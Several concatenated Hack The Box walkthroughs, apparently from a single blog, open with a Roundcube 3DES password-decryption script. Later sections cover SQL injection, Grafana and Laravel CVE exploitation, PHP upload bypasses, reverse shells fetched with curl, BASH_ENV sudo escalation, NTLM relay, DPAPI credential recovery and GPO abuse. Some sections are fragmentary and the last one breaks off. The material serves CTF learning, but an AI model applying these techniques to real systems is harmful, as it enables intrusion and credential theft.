#!/usr/bin/env python3import base64from Crypto.Cipher import DES3from Crypto.Util.Padding import unpadDES_KEY = 'rcmail-!24ByteDESkey*Str'# Roundcube 3DES key (24 bytes)defextract_iv_and_data(b64_string):"""Decode base64 and split into IV + encrypted data.""" raw = base64.b64decode(b64_string)return raw[:8], raw[8:]defcreate_cipher(des_key, iv):"""Return a 3DES CBC cipher instance.""" key = des_key.encode('utf-8')[:24]return DES3.new(key, DES3.MODE_CBC, iv)defdecrypt_value(b64_string, des_key):"""Decrypt a Roundcube-encrypted base64 string."""try: iv, encrypted = extract_iv_and_data(b64_string) cipher = create_cipher(des_key, iv) decrypted_padded = cipher.decrypt(encrypted)# Remove padding safelytry: decrypted = unpad(decrypted_padded, DES3.block_size)except: decrypted = decrypted_padded.rstrip(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08')return decrypted.decode('utf-8', errors='ignore').strip(), iv, encryptedexceptExceptionas e:returnf"Decryption failed: {str(e)}", None, Nonedefprint_decryption(label, data, des_key):"""Helper to decrypt and print results in structured form.""" plaintext, iv, encrypted = decrypt_value(data, des_key)print(f"[{label}]")print(f" Base64: {data}")print(f" Plaintext: {plaintext}")if iv isnotNone:print(f" IV: {iv.hex()}")print(f" Encrypted(hex): {encrypted.hex()}")print()defmain():# Extracted values username = "jacob" password_b64 = "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/" auth_secret_b64 = "DpYqv6maI9HxDL5GhcCd8JaQQW" request_token_b64 = "TIsOaABA1zHSXZOBpH6up5XFyayNRHaw"print("\n=== Roundcube Password / Token Decryptor ===\n")print(f"Using DES Key: {DES_KEY}\n")print(f"User: {username}\n") print_decryption("Password", password_b64, DES_KEY) print_decryption("Auth Secret", auth_secret_b64, DES_KEY) print_decryption("Request Token", request_token_b64, DES_KEY)print("Decryption Method: 3DES CBC (IV extracted from base64)")if__name__ == "__main__": main()
This Python script is designed to decrypt Roundcube webmail passwords (and similar session tokens) that are stored in 3DES-encrypted form. Key points:
Decryption Method: Uses 3DES in CBC mode with a 24-byte key (des_key) and an 8-byte IV extracted from the start of the base64-encoded data.
Encrypted Data Handling: The script first base64-decodes the input, separates the IV (first 8 bytes) from the encrypted payload, and then decrypts it.
Padding Removal: After decryption, it removes PKCS#5/7 padding with unpad; if that fails, it manually strips extra bytes.
Target Data: In this example, it decrypts the user jacobβs password (L7Rv00A8TuwJAr67kITxxcSgnIk25Am/) along with the auth_secret and request_token.
Output: Shows the plaintext password, IV, and encrypted data in hex for analysis.
The decrypted Roundcube credentials reveal the username jacob with the plaintext password 595mO8DmwGeD. These credentials can now be tested for SSH authentication to determine whether the same password is reused across services. Since password reuse is common in misconfigured environments, attempting SSH login with these details may provide direct shell access to the target system.
The email content from Jacobβs mailbox shows two messages. The first, from Tyler, notifies Jacob of a recent password change and provides a temporary password gY4Wr3a1evp4, advising Jacob to update it upon next login. The second email, from Mel, informs Jacob about unexpected high resource consumption on the main server. Mel mentions that resource monitoring has been enabled and that Jacob has been granted privileges to inspect the logs, with a request to report any irregularities immediately. Together, these emails reveal sensitive information including temporary credentials and access responsibilities for server monitoring.
Weβre now able to access and read the user flag.
Escalate to Root Privileges Access on the Outbound machine
Privilege Escalation:
Consistent with the earlier hint, sudo -l reveals sudo access to /usr/bin/below.
After investigating below, we found its GitHub project. In the Security section, the advisory GHSA-9mc5-7qhg-fp3w is listed.
This advisory describes an Incorrect Permission Assignment for a Critical Resource affecting version 0.9.0. Inspecting the /var/log/below directory, we see that its permissions are set to 0777, meaning it is world-writable. This confirms the advisoryβs impact, as anyone can create or modify files in this directory.
Mapping the Vulnerability to CVEβ2025β27591
Further research shows that this vulnerability is tracked as CVEβ2025β27591, and a PoC is publicly available.
Upload the Python script to the compromised host.
Using the exploit from the following source: BridgerAldersonβs CVEβ2025β27591 PoC on GitHub.
We can read the root flag simply by running cat root.txt.
In this writeup, we will explore the βDarkCorpβ machine from Hack The Box, categorized as an Insane difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the βDarkCorpβ machine from Hack The Box by achieving the following objectives:
User Flag:
Gained initial foothold via the webmail/contact vector, registered an account, abused the contact form, and executed a payload to spawn a reverse shell. From the shell, read user.txt to capture the user flag.
Root Flag:
Performed post-exploitation and credential harvesting (SQLi β hashes β cracked password thePlague61780, DPAPI master key recovery and Pack_beneath_Solid9! recovered), used recovered credentials and privilege escalation techniques to obtain root, then read root.txt to capture the root flag.
Enumerating the DarkCorp Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap-sC-sV-oNnmap_initial.txt10.10.11.54
Nmap Output:
ββ[dark@parrot]β[~/Documents/htb/darkcorp]ββββΌ$nmap-sC-sV-oAinitial10.10.11.54# Nmap 7.94SVN scan initiated Sun Aug 17 03:07:38 2025 as: nmap -sC -sV -oA initial 10.10.11.54Nmapscanreportfor10.10.11.54Hostisup (0.18s latency).Notshown:998filteredtcpports (no-response)PORTSTATESERVICEVERSION22/tcpopensshOpenSSH9.2p1Debian2+deb12u3 (protocol 2.0)| ssh-hostkey:| 25633:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)|_25604:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)80/tcpopenhttpnginx1.22.1|_http-title:Sitedoesn't have a title (text/html).|_http-server-header: nginx/1.22.1Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sun Aug 17 03:08:04 2025 -- 1 IP address (1 host up) scanned in 25.73 secondsββ[dark@parrot]β[~/Documents/htb/darkcorp]ββββΌ $
Analysis:
Port 22 (SSH): OpenSSH 9.2p1 on Debian β secure remote access; check for password authentication or weak credentials.
Port 80 (HTTP): nginx 1.22.1 β web server serving GET/HEAD only; perform directory and file enumeration for further insights.
Web Enumeration:
Nothing noteworthy was found on the website itself.
A subdomain was discovered that leads to the DripMail Webmail interface.
Register a new account and enter the email
As a next step, proceed to register a new account.
Enter the required information to create the new account.
We successfully created the account, confirming that the DripMail Webmail portalβs registration process works correctly. This indicates that user registration is open; therefore, we can interact with the mail system. Consequently, this may enable further exploration, including login, email sending, and service enumeration.
Check your email inbox
A new email appeared in the inbox from no-reply@drip.htb, indicating that the system had sent an automated message; moreover, it may contain a verification notice, onboarding information, or credential-related details, all of which are worth reviewing for further clues.
However, it turned out to be just a welcome email from no-reply@drip.htb, providing no useful information.
Contact Form Exploitation
The site includes a contact form that attackers could potentially exploit.
We entered a non-deterministic key value into the input.
We sent the message successfully, confirming that the contact form works and accepts submissions.
CVEβ2024β42009 β Web Enumeration with Burp Suite
Burp shows the contact form submission (POST) carrying the random key and payload, followed by a successful response.
We modified the contact-form recipient field and replayed the POST via Burp Repeater; the server returned 200 OK, and it delivered the message to admin@drip.htb.
We received a request for customer information.
Letβs start our listener
Contact Form Payload
Insert the base64-encoded string into the message.
The Burp Suite trace looks like the following.
A staff member sent an email.
Resetting the password
We need to change the password.
After setting the payload, we received a password reset link.
Letβs change the password as needed
We are provide with a dashboard
SQL injection discovered on dev-a3f1-01.drip.htb.
We accessed the user overview and discovered useful information.
The application is vulnerable to SQL injection.
SQLi Payload for Table Enumeration
The input is an SQL injection payload that closes the current query and injects a new one: it terminates the original statement, runs SELECT table_name FROM information_schema.tables WHERE table_schema=βpublicβ; and uses β to comment out the remainder. This enumerates all table names in the public schema; the response (Users, Admins) shows the database exposed those table names, confirming successful SQLi and information disclosure.
The payload closes the current query and injects a new one: SELECT column_name FROM information_schema.columns WHERE table_name=βUsersβ;β which lists all column names for the Users table. The response (id, username, password, email, host_header, ip_address) confirms successful SQLi-driven schema enumeration and reveals sensitive columns (notably password and email) that could enable credential or user-data disclosure.
Obtained password hashes from the Users table (Users.password). These values are opaque; we should determine their type, attempt to crack only with authorisation, and protect them securely.
PostgreSQL File Enumeration
The SQL command SELECT pg_ls_dir('./'); invokes PostgreSQLβs pg_ls_dir() function to list all files and directories in the server processβs current directory (typically the database data or working directory). Because pg_ls_dir() exposes the filesystem view, it can reveal configuration files or other server-side files accessible to the database process β which is why itβs often used during postβexploitation or SQLi-driven reconnaissance. Importantly, this function requires superuser privileges; therefore, a nonβsuperuser connection will be denied. Consequently, successful execution implies that the user has elevated database permissions.
The SQL command SELECT pg_read_file('PG_VERSION', 0, 200); calls PostgreSQLβs pg_read_file() to read up to 200 bytes starting at offset 0 from the file PG_VERSION on the database server. PG_VERSION normally contains the PostgreSQL version string, so a successful call discloses the DB version to the attacker β useful for fingerprinting β and typically requires superuser privileges, making its successful execution an indicator of elevated database access and a potential informationβdisclosure risk.
Returning down the path, I spotted one; it would impress those who have beaten Cerberusβ¦/../../ssssss
SSSD maintains its own local ticket credential caching mechanism (KCM), managed by the SSSD process. It stores a copy of the valid credential cache, while the corresponding encryption key is stored separately in /var/lib/sss/secrets/secrets.ldb and /var/lib/sss/secrets/.secrets.mkey.
Shell as postgres
Finally, we successfully received a reverse shell connection back to our machine; therefore, this confirmed that the payload executed correctly and established remote access as intended.
Nothing of significance was detected.
Discovered the database username and password.
Restore the Old email
Elevate the current shell to an interactive TTY.
The encrypted PostgreSQL backup dev-dripmail.old.sql.gpg is decrypted using the provided passphrase, and the resulting SQL dump is saved as dev-dripmail.old.sql. Consequently, this allows further inspection or restoration of the database for deeper analysis or recovery.
The output resembles what is shown above.
Found three hashes that can be cracked with Hashcat.
Hash Cracking via hashcat
We successfully recovered the password thePlague61780.
Since Hashcat managed to crack only one hash, weβll therefore use CrackStation to attempt cracking the remaining two.
Bloodhound enumeration
Update the configuration file.
SSH as ebelford user
Established an SSH session to the machine as ebelforrd.
No binary found
Found two IP addresses and several subdomains on the target machine.
Update the subdomain entries in our /etc/hosts file.
Network Tunnelling and DNS Spoofing with sshuttle and dnschef
Use sshuttle to connect to the server and route traffic (like a VPN / port forwarding).
Additionally, dnschef was used to intercept and spoof DNS traffic during testing.
Gathering Information via Internal Status Monitor
Log in using the victor.r account credentials.
Click the check button to get a response
Replace the saved victor.r login details in Burp Suite.
Testing the suspected host and port for reachability.
Begin the NTLM relay/replay attack.
Leverage socatx64 to perform this activity.
Abuse S4U2Self and Gain a Shell on WEB-01
An LDAP interactive shell session is now running.
Run get_user_groups on svc_acc to list their groups.
Retrieved the SID associated with this action.
Retrieved the administrator.ccache Kerberos ticket.
We can read the user flag by typing βtype user.txtβ command
Escalate to Root Privileges Access on Darkcorp machine
Privilege Escalation:
Transfer sharpdpapi.exe to the target host.
Attempting to evade Windows Defender in a sanctioned test environment
The output reveals a DPAPI-protected credential blob located at C:\Users\Administrator\AppData\Local\Microsoft\Credentials\32B2774DF751FF7E28E78AE75C237A1E. It references a master key with GUID {6037d071-...} and shows that the blob is protected using system-level DPAPI (CRYPTPROTECT_SYSTEM), with SHA-512 for hashing and AES-256 for encryption. Since the message indicates MasterKey GUID not in cache, the decryption cannot proceed until the corresponding master key is obtained β either from the userβs masterkey file or by accessing a process currently holding it in memory.
This output shows a DPAPI local credential file at C:\Users\Administrator\AppData\Local\Microsoft\Credentials\ with the filename 32B2774DF751FF7E28E78AE75C237A1E. The system protects it using a DPAPI master key (GUID {6037d071-cac5-481e-9e08-c4296c0a7ff7}), applies SHA-512 for hashing, and uses AES-256 for encryption. Because the master key isnβt currently in the cache, we canβt decrypt the credential blob until we obtain that master key (for example from the masterkey file) or access the process that holds it in memory.
Direct file transfer through evil-winrm was unsuccessful.
Transform the file into base64 format.
We successfully recovered the decrypted key; as noted above, this confirms the prior output and therefore enables further analysis.
Access darkcorp machine via angela.w
Successfully recovered the password Pack_beneath_Solid9!
Retrieval of angela.wβs NT hash failed.
Attempt to gain access to the angela.w account via a different method.
Acquired the hash dump for angela.w.
Save the ticket as angela.w.adm.ccache.
Successful privilege escalation to root.
Retrieved password hashes.
Password reset completed and new password obtained.
Exploiting GPOs with pyGPOAbuse
Enumerated several GPOs in the darkcorp.htb domain; additionally, each entry shows the GPO GUID, display name, SYSVOL path, applied extension GUIDs, version, and the policy areas it controls (registry, EFS policy/recovery, Windows Firewall, security/audit, restricted groups, scheduled tasks). Furthermore, the Default Domain Policy and Default Domain Controllers Policy enforce core domain and DC security β notably, the DC policy has many revisions. Meanwhile, the SecurityUpdates GPO appears to manage scheduled tasks and update enforcement. Therefore, map these SYSVOL files to find promising escalation vectors: for example, check for misconfigured scheduled tasks, review EFS recovery settings for exposed keys, and identify privileged group memberships. Also, correlate GPO versions and recent changes to prioritize likely targets.
BloodHound identifies taylor as GPO manager β pyGPOAbuse is applicable, pending discovery of the GPO ID.
Force a Group Policy update using gpupdate /force.
In this write-up, we will explore the βPlanningβ machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the βPlanningβ machine from Hack The Box by achieving the following objectives:
User Flag:
During reconnaissance, extensive fuzzing was required to identify a Grafana instance vulnerable to CVE-2024-9264βa critical flaw enabling arbitrary command execution through unsanitized SQL inputs in the DuckDB CLI. By deploying a proof-of-concept exploit, I successfully extracted files and ran commands, gaining entry to the Grafana container but not the underlying host. Subsequent enumeration uncovered valid credentials for the user βenzo,β which granted SSH access to the host system.
Root Flag:
Once on the host, I discovered the Crontab-UI serviceβa web-based tool for managing cron jobsβrunning on localhost:8000 and secured with Basic Authentication. Leveraging the earlier credentials for the βenzoβ user, I authenticated to the interface and added a malicious cron job configured to establish a reverse shell connection.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Port 22 (SSH): Secure Shell service for remote access.
Port 80 (HTTP): Web server running Apache.
Web Application Exploration:
The website for Edukate appears to be a standard educational platform.
What is Edukate?
Edukate is a free educational website template designed for online learning platforms and academic institutions. Its intuitive layout improves user engagement, while its clean, developer-friendly codebase makes customization simple. Built with Sass for easy maintenance, Edukate is optimized for page speed to deliver fast loading times and lower bounce rates. It is fully cross-browser compatible, ensuring a smooth experience across all major browsers, and SEO-friendly to help boost search engine rankings.
Gobuster found a valid virtual host: grafana.planning.htb.
This is likely an internal service meant for the organizationβs team, not a public endpoint.
Since it contains grafana, it strongly suggests it is a Grafana dashboard instance.
Grafana Application
The grafana.planning.htb subdomain loads successfully and displays the Grafana login page.
We should be able to log in using the credentials provided by Hack The Box.
Username:Β admin
Password: 0D5oT70Fq13EvB5r
We need to inspect the traffic using Burp Suite.
First, I noticed that the endpoint /api/user/auth-tokens-rotate is available here.
We successfully gained access to the Grafana dashboard.
We also confirmed that the Grafana instance is running version 11.0.0
There are numerous tokens being rotated here.
This is what the response looks like in Burp Suite.
Critical SQL Expression Vulnerability in Grafana Enabling Authenticated LFI/RCE
This vulnerability targets Grafana 11βs experimental SQL Expressions feature, which allows users to post-process query results via custom SQL using DuckDB. The flaw arises because user input isnβt properly sanitized before being sent to the DuckDB CLI, enabling remote code execution (RCE) or arbitrary file reads. The root cause is unfiltered input passed directly to the DuckDB command-line interface. The CVSS v3.1 score is 9.9 (Critical).
Grafana doesnβt include DuckDB by default. For exploitation, DuckDB must be installed on the server and accessible in Grafanaβs PATH. If itβs absent, the system is safe.
Using a PoC, we can exploit this flaw to read system files, demonstrating its impact and severity.
Letβs search Google for potential exploits targeting Grafana v11.0.0
This flaw enables authenticated users to attain remote code execution (RCE). I exploited it using the publicly available proof-of-concept from Nolliumβs GitHub repository.
We successfully retrieved the /etc/passwd file.
When we ran the whoami command, it returned root, which is unexpected.
Letβs set up our listener.
Unfortunately, we were unable to execute the command due to an error.
As suspected, this is running inside a Docker container.
The environment variables reveal the Grafana admin credentials:
GF_SECURITY_ADMIN_USER=enzo
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!.
Exploit CVE-2024-9264 using Burp Suite.
The api/ds/query endpoint is available in Grafana, and we can leverage it for this exploit.
If the full path is not specified, it responds with a βNot Foundβ message.
However, attempting to execute the full path results in an βUnauthorizedβ response.
Itβs still the same; we need to send the JSON data here.
This JSON payload is a crafted query sent to Grafanaβs api/ds/query endpoint. It uses the Expression data source with an SQL expression to run a sequence of commands: first installing and loading the shellfs extension, then executing whoami and redirecting the output to /tmp/output.txt. This effectively demonstrates command execution through CVE-2024-9264.
Reading the contents of /tmp/output.txt confirms that the whoami command executed on the target machine.
Letβs set up our listener to catch the reverse shell.
Use this SQL command to execute the bash script.
Itβs hanging, which is a good sign that the payload is executing.
We successfully received a reverse shell connection.
We attempted to switch to the enzo user with su enzo, but it didnβt work.
SSH worked perfectly and allowed us to log in successfully.
We were able to read the user flag by running cat user.txt.
Escalate To Root Privileges Access
Privilege Escalation:
Locate the database file.
We discovered /opt/crrontabs/crontab.db.
The password for root_grafana is P4ssw0rdS0pRi0T3c.
Port 8000 is open here, which is unusual.
Letβs set up port forwarding for port 8000.
We need to provide the credentials to log in.
We need to use the credentials we discovered earlier to log in.
It turned out to be a cron jobs management interface.
What is Cronjob-UI?
Crontab-UI is an open-source Node.js web interface for managing cron jobs on Unix-like systems, simplifying tasks like creating, editing, pausing, deleting, and backing up crontab entries via a browser (default: http://localhost:8000). It reduces errors from manual text editing, supports error logging, email notifications, webhooks, and easy import/export for multi-machine deployment. Installation is via npm (npm install crontab-ui -g), with optional Docker support and Basic Auth for security. Ideal for beginners handling scheduled tasks.
We need to create a new cron job command.
The shell.sh file contains the reverse shell that will connect back to us.
We will use curl to fetch the file, as demonstrated earlier.
The file was transferred successfully, as expected.
We were able to access the root shell and read the root flag by running cat root.txt.
In this write-up, we will explore the βEnvironmentβ machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective for the Environment machine:
The goal of this walkthrough is to complete the βEnvironmentβ machine from Hack The Box by achieving the following objectives:
User Flag:
The login page identified a Marketing Management Portal, and testing the Remember parameter with --env=preprod bypassed authentication, exposing user emails, including hish@environment.htb. The application runs PHP 8.2.28 and Laravel 11.30.0, which is vulnerable to argument injection (CVE-2024-52301) and UniSharp Laravel Filemanager code injection, highlighting further exploitation potential. The profile upload feature allowed a PHP file bypass by appending a . to the extension (shell.php.); a crafted payload confirmed code execution via phpinfo(). A PHP reverse shell was uploaded and triggered, connecting back to a listener and allowing retrieval of the user flag with cat user.txt.
Root Flag:
To escalate privileges and obtain the root flag, we first examined the contents of /home/hish, discovering a backup file keyvault.gpg and a .gnupg directory containing GnuPG configuration and key files. By copying .gnupg to /tmp/mygnupg and setting appropriate permissions, we used GPG to decrypt keyvault.gpg, revealing credentials including the Environment.htb password (marineSPm@ster!!). User βhishβ had sudo privileges to run /usr/bin/systeminfo with preserved environment variables (ENV and BASH_ENV), creating a vector for privilege escalation. A script dark.sh containing bash -p was crafted and made executable; executing sudo BASH_ENV=./dark.sh /usr/bin/systeminfo triggered the script under elevated privileges, spawning a root shell and effectively granting full control of the system, allowing access to the root flag.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap-sC-sV-oNnmap_initial.txt10.10.10.10
Nmap Output:
# Nmap 7.94SVN scan initiated Sun May 4 08:43:11 2025 as: nmap -sC -sV -oA initial 10.10.11.67Nmapscanreportfor10.10.11.67Hostisup (0.019s latency).Notshown:998closedtcpports (conn-refused)PORTSTATESERVICEVERSION22/tcpopensshOpenSSH9.2p1Debian2+deb12u5 (protocol 2.0)| ssh-hostkey:| 2565c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)|_2561f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)80/tcpopenhttpnginx1.22.1|_http-server-header:nginx/1.22.1|_http-title:Didnotfollowredirecttohttp://environment.htbServiceInfo:OS:Linux; CPE:cpe:/o:linux:linux_kernelServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Sun May 4 08:43:21 2025 -- 1 IP address (1 host up) scanned in 10.97 seconds
Analysis:
Port 22 (SSH): Secure Shell service for remote access, running OpenSSH 9.2p1 (Debian 12).
Port 80 (HTTP): Web server running nginx 1.22.1, redirecting to environment.htb
Web Enumeration on the Environment machine:
Perform web enumeration to discover potentially exploitable directories and files.
login (200): Login page, likely entry point for authentication.
/upload (405): Upload functionality present but restricted (Method Not Allowed).
/storage (301): Redirects to http://environment.htb/storage/.
/up (200): Page accessible, may contain system or application status.
/logout (302): Redirects back to login page.
/vendor (301): Redirects to http://environment.htb/vendor/, likely framework/vendor files.
/build (301): Redirects to http://environment.htb/build/, may contain application build assets.
/mailing (405): Mailing functionality endpoint, but restricted (Method Not Allowed).
Exploration for the Environment Machine
The website displays a standard interface with no obvious points of exploitation.
The login page identifies the application as a Marketing Management Portal, but no valid credentials are available to test authentication.
Attackers can examine the PHP script at the /upload endpoint to gather potential hints. The application runs on PHP 8.2.28 with Laravel 11.30.0, which may expose version-specific vulnerabilities.
On the discovered website, attackers can exploit CVE-2024-52301, a Laravel 11.30.0 argument injection flaw triggered when register_argc_argv is enabled. By sending crafted query strings, they can inject arguments into the PHP environment, potentially gaining unauthorised access or executing arbitrary commands.. This vulnerability poses a high risk, especially in shared hosting, but administrators can mitigate it by disabling register_argc_argv in php.ini and hardening server configurations.
Enumeration and Proof-of-Concept Testing for CVE-2024-52301
We will test the login page with blind credential attempts to see if any weak or default accounts accept access.
This is how the request and response appear when viewed through Burp Suite.
The request packet includes a parameter Remember=false, and the server responds with βInvalid Credentialsβ, indicating failed authentication.
Therefore, the next step is to modify the parameter by changing Remember=false to Remember=true and observe the serverβs response.
Unfortunately, modifying Remember=false to Remember=true did not bypass authentication, as the login attempt still failed.
The output appears similar to the reaction shown above, confirming that the change in the Remember parameter did not affect authentication.
Removing the Remember parameter from the request still results in the same response, indicating no change in authentication behavior.
This PHP snippet checks the value of the $remember parameter to determine whether the user should stay logged in. If $remember equals 'False', the variable $keep_loggedin is set to False, meaning the session will not persist after login. If $remember equals 'True', then $keep_loggedin is set to True, allowing the application to keep the user logged in across sessions. Essentially, it controls the βRemember Meβ functionality during authentication.
Modify the remember parameter to use a value other than false or true.
This code first sets the $keep_loggedin flag based on the $remember parameter, enabling the βRemember Meβ feature if applicable. It then checks whether the application is running in the preprod environment, and if so, it automatically logs in as the user with ID 1 by regenerating the session, setting the session user ID, and redirecting to the management dashboardβessentially a developer shortcut for testing. If not in preprod, the code proceeds to look up the user in the database by their email.
When the query string ?--env=production is added to the URL, it injects the argument --env=production into $_SERVER['argv'], which Laravel interprets through its environment detection mechanism. This forces the framework to treat the application as if it is running in a production environment, causing the @production directive in Blade templates to render <p>Production environment</p> as the output.
By adding the parameter --env=preprod to the request packet, it may trigger the applicationβs pre-production environment logic seen in the code, potentially bypassing normal authentication and granting direct access as the default user (ID 1).
We identified a profile displaying the details Name: Hish and Email: hish@environment.htb. The profile also includes a feature that allows uploading a new picture, which may present an opportunity to test for file upload vulnerabilities.
To test how the application processes file uploads, we uploaded a random .png file through the profileβs picture upload functionality.
However, the upload attempt returned an error message in the browser: βUnexpected MimeType: application/x-emptyβ, indicating that the application rejected the file due to an invalid or unrecognised MIME type.
Renaming the uploaded file with a .php extension prompted the application to respond with βInvalid file detected,β confirming that server-side validation actively blocks direct PHP or executable uploads.
The vulnerability occurs in the file upload feature, where attackers can circumvent the restrictions by adding a . after a PHP file (for example, filename.php.) while using an allowed MIME type. Even though the application blocks certain extensions like PHP or HTML and MIME types such as text/x-php, text/html, or text/plain, this trick enables malicious files to be uploaded successfully. Snyk rates this issue as Critical with a CVSS v3.1 score of 9.8 and High with a CVSS v4.0 score of 8.9.
Letβs research exploits targeting the UniSharp Laravel Filemanager upload functionality.
Version-Agnostic Testing for UniSharp Laravel File Upload Vulnerabilities
If the UniSharp Laravel Filemanager version is unknown, you can test uploads without relying on the version. First, upload safe files like .jpg or .png to confirm the endpoint works. Then, try potentially executable files like .php, .php., or .php.jpg and watch the server response. HTTP 200 may indicate a bypass. You can also tweak MIME types to test validation. Monitor responses (200, 403, 405) and see if uploaded files can execute codeβthis approach highlights risky upload behaviors without knowing the exact version.
Modify the PHP fileβs name by adding a β.β after the .php extension (e.g., test.php.). Actively test whether the upload filter allows bypassing and if server-side code runs.
The upload bypass succeeded, and the application accepted the .php. file, indicating the filter can be bypassed. The uploaded payload may execute.
The GIF89a output shows that the uploaded file is being treated as an image rather than executed as PHP. Since GIF89a is the GIF header, the server is likely enforcing MIME type checks or serving uploads as static files. This behaviour prevents the embedded PHP code from running directly. A GIFβPHP polyglot can bypass validation by starting with a valid GIF header while containing PHP code for execution. Extension tricks like .php., .php%00.png, or encoding bypasses may also allow the server to process the file as PHP. If the server serves uploads only as images, an LFI vulnerability could include the uploaded file to execute the PHP payload.
File Upload & Reverse Shell
Since the earlier PHP extension bypass worked, the next logical step was to upload a file phpinfo(); to confirm code execution. Retrieving this file successfully displayed the PHP configuration page, verifying that arbitrary PHP code can indeed run on the server.
The uploaded file ran successfully, and the browser showed phpinfo() output, confirming the server processes the injected PHP code.
Set up a listener on your machine to catch the reverse shell
We successfully uploaded the PHP reverse shell payload, and executing it attempted to connect back to the listener, as demonstrated in the command example above.
The connection did not trigger.
We started a Python HTTP server to host the payload for the target system to retrieve.
User βhishβ attempted to retrieve a file using curl from the machine but received a βFile not foundβ response.
We consolidated all the bash commands into a new script file to simplify execution.
Letβs attempt to fetch shell.sh from our machine.
We can read the user flag with the command cat user.txt.
Escalate to Root Privileges Access
Privilege Escalation:
Since this user has read access, the contents of the directory at www-data/home/hish can be inspected. Inside the backup directory, we found a file named keyvault.gpg.
GnuPG Key Inspection
We discovered a .gnupg directory.
Within the .gnupg directory of the user hish, several key GnuPG files and directories are present, including openpgp-revocs.d for revoked keys, private-keys-v1.d containing the userβs private keys, pubring.kbx and its backup pubring.kbx~ for storing public keys, random_seed used by GnuPG for cryptographic operations, and trustdb.gpg, which maintains the trust database for verifying key authenticity.
Decrypting the Backup File with GPG
The /tmp directory is empty and contains no files of interest.
User βhishβ copied the .gnupg directory to /tmp/mygnupg to simplify access and analysis, likely to inspect or manipulate GnuPG-related files, such as private keys or configuration data, in a more convenient temporary location.
The /tmp/mygnupg directory permissions were set to 700, restricting access so that only the owner can read, write, or execute its contents.
After copying, the /tmp/mygnupg directory exists, but it contains no files of interest.
The command gpg --homedir /tmp/mygnupg --list-secret-keys tells GnuPG to use the directory /tmp/mygnupg as its home and lists all secret (private) keys stored there. This allows the user to view available private keys without affecting the default GPG configuration.
Using GnuPG with the home directory set to /tmp/mygnupg, the command decrypts /home/hish/backup/keyvault.gpg and writes the decrypted content to /tmp/message.txt, leveraging the secret keys stored in that directory.
After some time, we successfully retrieved message.txt, which may contain potentially useful information.
The message.txt file contains a list of credentials for different accounts. Specifically, it shows a PayPal password (Ihaves0meMon$yhere123), an Environment.htb password (marineSPm@ster!!), and a Facebook password (summerSunnyB3ACH!!). These credentials may allow access to the corresponding accounts or services.
Accessing User Hishβs Privileges
The password βmarineSPm@ster!!β appears to belong to the Environment.htb account, as the other passwords correspond to PayPal and Facebook.
We can connect using SSH.
Privilege Escalation with systeminfo
The sudo -l Output for user βhishβ on the βenvironmentβ host shows they can run /usr/bin/systeminfo with sudo privileges as any user. The default settings include env_reset, mail_badpass, a secure_path, and preservation of ENV and BASH_ENV variables via env_keep. This preservation of ENV and BASH_ENV creates a potential security vulnerability, as these variables can be manipulated to execute arbitrary commands, allowing βhishβ to bypass restrictions and escalate privileges when running the allowed command.
User βhishβ on the βenvironmentβ host runs commands to create a script named dark.sh containing bash -p, which spawns a privileged bash shell. First, echo 'bash -p' > dark.sh write the bash -p command into dark.sh. Then, chmod +x dark.sh grants execute permissions to the script. These steps prepare a malicious script for a potential privilege escalation exploit, likely to be used with a preserved environment variable, like BASH_ENV in a subsequent command, to bypass sudo restrictions and gain elevated privileges.
User βhishβ on the βenvironmentβ host runs sudo BASH_ENV=./dark.sh /usr/bin/systeminfo to exploit the preserved BASH_ENV environment variable, as revealed by sudo -l. By setting BASH_ENV to point to the previously created dark.sh script (containing bash -p), the command triggers the execution of dark.sh when systeminfo runs with sudo privileges. Since bash -p spawns a privileged bash shell, this allows βhishβ to gain elevated privileges, bypassing the restricted sudo permissions that only allow running /usr/bin/systeminfo, effectively achieving privilege escalation.
We can read the user flag with the command cat user.txt.
In this write-up, we will explore the βTheFrizzβ machine from Hack The Box, categorised as a medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective on TheFrizz machine:
The goal of this walkthrough is to complete the βTheFrizzβ machine from Hack The Box by achieving the following objectives:
User Flag:
We began by exploiting a file upload vulnerability to gain a web shell on the target. From there, we located the config.php file, which contained database credentials. Using these, we accessed the database locally through mysql.exe, extracted a user hash, and successfully cracked it to obtain the password Jenni_Luvs_Magic23. With these credentials, we logged into the web application and discovered a message detailing an upcoming SSH migration, hinting at Kerberos-based authentication. We generated a Kerberos ticket (f.frizzle.ccache), leveraged it to gain SSH access to the system, and ultimately retrieved the user flag by executing type user.txt.
Root Flag:
After escalating privileges using M.SchoolBus and exploiting the SleepGPO via SharpGPOAbuse, we forced the Group Policy to update with gpupdate.exe /force. We then used secretdump to gather credentials and leveraged wmiexec to gain a root-level shell. From there, we accessed and read the root flag using the command type root.txt.
Enumerating the TheFrizz Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Port 22 (SSH): OpenSSH for_Windows_9.5 (protocol 2.0) for secure remote access
Port 53 (DNS): Simple DNS Plus
Port 80 (HTTP): Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12) web server, redirects to http://frizzdc.frizz.htb/home/
